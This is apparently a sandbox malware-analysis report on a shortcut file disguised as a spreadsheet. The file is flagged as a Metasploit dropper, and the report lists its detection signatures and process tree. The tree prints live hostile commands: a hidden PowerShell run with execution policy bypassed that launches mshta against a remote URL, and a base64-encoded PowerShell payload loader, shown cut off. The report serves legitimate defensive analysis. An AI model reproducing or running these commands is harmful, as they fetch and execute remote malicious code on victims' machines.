Windows
Analysis Report
____ ______.xls.lnk.bin.lnk
Overview
General Information
Detection
Metasploit
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Malicious encrypted Powershell command line found
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Metasploit Payload
Yara detected MetasploitPayload
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Joe Sandbox ML detected suspicious sample
Sigma detected: MSHTA Suspicious Execution 01
Sigma detected: Malicious Base64 Encoded PowerShell Keywords in Command Lines
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Suspicious powershell command line found
Uses an obfuscated file name to hide its real file extension (double extension)
Windows shortcut file (LNK) contains suspicious command line arguments
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Suspicious Execution of Powershell with Base64
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
powershell.exe (PID: 7288 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le hidden -Execution Policy Byp ass -Comma nd "Start- Process ms hta -Argum entList 'h ttps://ipl ogger.cn/f orensicsas .png'" MD5: 04029E121A0CFA5991749937DD22A1D9) conhost.exe (PID: 7296 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) mshta.exe (PID: 7472 cmdline:
"C:\Window s\system32 \mshta.exe " https:// iplogger.c n/forensic sas.png MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) powershell.exe (PID: 7540 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -nop -w hi dden -enco dedcommand JABzAD0AT gBlAHcALQB PAGIAagBlA GMAdAAgAEk ATwAuAE0AZ QBtAG8AcgB 5AFMAdAByA GUAYQBtACg ALABbAEMAb wBuAHYAZQB yAHQAXQA6A DoARgByAG8 AbQBCAGEAc wBlADYANAB TAHQAcgBpA G4AZwAoACI ASAA0AHMAS QBBAEEAQQB BAEEAQQBBA EEALwA2ADE AWABhADMAT wBpAHoAQgB MACsASABIA DgARgBIADE ASwBsAFYAa wB3AE8AeAB NAHYAcQBuA GsAcgBWAEk AaABmAEYAQ QBKAEcATAB sADUAZwAzA GwAVQBJAFk ARQBSAGsAQ gBZAFIARAB KAHUALwB2A GYAVAA0AE8 AYQB6AFoAN QBOAHoAdAB tAHEAYwA2A HkAaQBIAEc AYQBtAHUAN QA5ACsAcAB yAHUAbgBNA FIAQwA1AE4 AawBqAHMAM gBVAFEASgB IAFUAUgBkA FQAMQBHAGM AZQBHAEYAQ QAzAFYAWQB xAGwAMQB2A EwAUgB4ADU ASgBRAHUAc QBPACsAbAB hAHQAcgBOA EwAQQBKAHM AVgBTAE0AW ABoAHgARQB YAG0ASgA0A HQAQgArAHM AUgB3AG4AU gBrAGwAQwA vAFYAMgA1A EcARgB1AHg AdABhAFYAc QBsADMAcwB yAGYAdABtA EcAVABvAHA AUgBnAHkAc ABmAGkAbwA zAEkAUwBXA E4AVQB2ADc AaQBvAFgAS gBSAFQAYQB aAEIAWQBLA C8AUQBTAFc ATQBUAGIAb wA1AGMAdAB JAHUAdgBRA FMAYwBCAFE ANwBZAG0AT gBJAGoANwB jAFcAbAA3A HcALwBQAFU AcgBsADgAW QB4AEMAcwB qAHgALwBXA GEAQQBDAEo AcwBrAGEAT AB2AEUASAB rAHAAcQBkA GUAbwA3AE4 AVgB1AGoAR wBGADAALwB MAEQAZgBJA EoAdABUAGY AMQBPAFgAT AB6AFEAQwB IAFMAdwB1A GYAdAB1AFc AYwBaAGEAL wBCAEsAVAB aAHcAaQBqA FUANQB0AEs AMwBDAGcAe ABzAGoAdwB oADYAcABWA GYALwA2AHE AMQBwAC8Ad QBtAGEAZQB iADQAUgBkA GEAdQBHAGs AVgBqAFgAe QBoAEsARAB 0AGoAWQBOA HgAdABVADc AOQBxAEIAY wBHAHoAVAB 4AEMAdABhA HIAaQAyAFg ARwBZAGgAQ wB0AHkATQA vAE8AQwA1A HUAMwBOAHA ARQBTAHYAb AB1AEMAVgB JAC8AWgBxA C8AZQBTAFo ARwAxAG4AZ wB4ACsAZAB PAEYAbABxA FAATQByAFU AcQBEAE0AZ gBBAEQAWAB 2AGsAcwBOA HEAZwBuAGc AcAA3AFQAO AAvAFAAMQB MAGMAMwBOA EgAbwBhAEU ARwArAEwAY gBxAFMAQQB vAEQAaQBNA EQAQgBUAHY AUABSAHMAb ABOADAATQB yAGMARABEA FMAMABRAHI ARQBxAGcAa wBjAFkAZQB CAFcANgB3A EEAaQBSAGk AUwBOAEEAK wBxAE0AQgB lAFQAMgBvA FkAOQBxAGw AMABHAEsAY wBRAFAAMAB QAHYAMgBwA DMAdQBlAGE AaQByAEkAe gB1AFgAOAB xAFYASABzA HYAQgBMAHY ARwBKAEsAN AAzAFQAagB IAHgASgAzA FEAbwBaAGQ AdwBjADEAW QBFADcAdgA 2AEYALwBGA DEAeAAxACs AUAAwAFcAW QBQAFgASwB qADgAbwBIA G8AZQBvAGc AagBGAHkAT ABvAEIAYwB DAC8ATAA2A EwAMQBjAHI ARgB4AFYAT QA1AFIATwB CAFAAYgBSA HcAbQBYAGk AbAAzAFIAO QBFAE4AUwB nAEUAUQBGA GcAbgBqAHY ARABoAE8AT QAwADUAUgA vAGYAbgBuA CsAUgB6AE4 AbgBpAFcAV AB4AHEAZQB LAG0ATABQA FUAUwBlAFo ANABQAEUAY wBjAGQAOQB UAFQATgBQA FMAYwA1ADg AcABGAHYAW ABLAEsAbgB tAEwAKwBaA FoAbAA2ADI ARQBGAHgAc wBmADUANQB OAHYAQgBvA DUAUQBXAEk AegB3AE4Ac gA2ADkAbgB uAGcASwA5A DkAZABHAFo AbwBoAFYAS ABKAHgAOAA xADUAbQB3A G8ANABhADk AWABUAEEAb gBMADQARQB 6AHYAVgBnA HQAQwBuADM AOABXAEUAc gBVAGYAZQB aAFAAdABIA GMASwB3AE4 ANQA1ADQAQ QBLAGcAaQB KACsAcQA5A GcAagBtAGQ AWQBxADAAc QBCAGcAcgB iAEEAMwAvA EUAZAB3AHY AUgB5AEIAV wBtAEcAegB yAHQAUABxA FoAVwBmAHI AUgBmAHYAU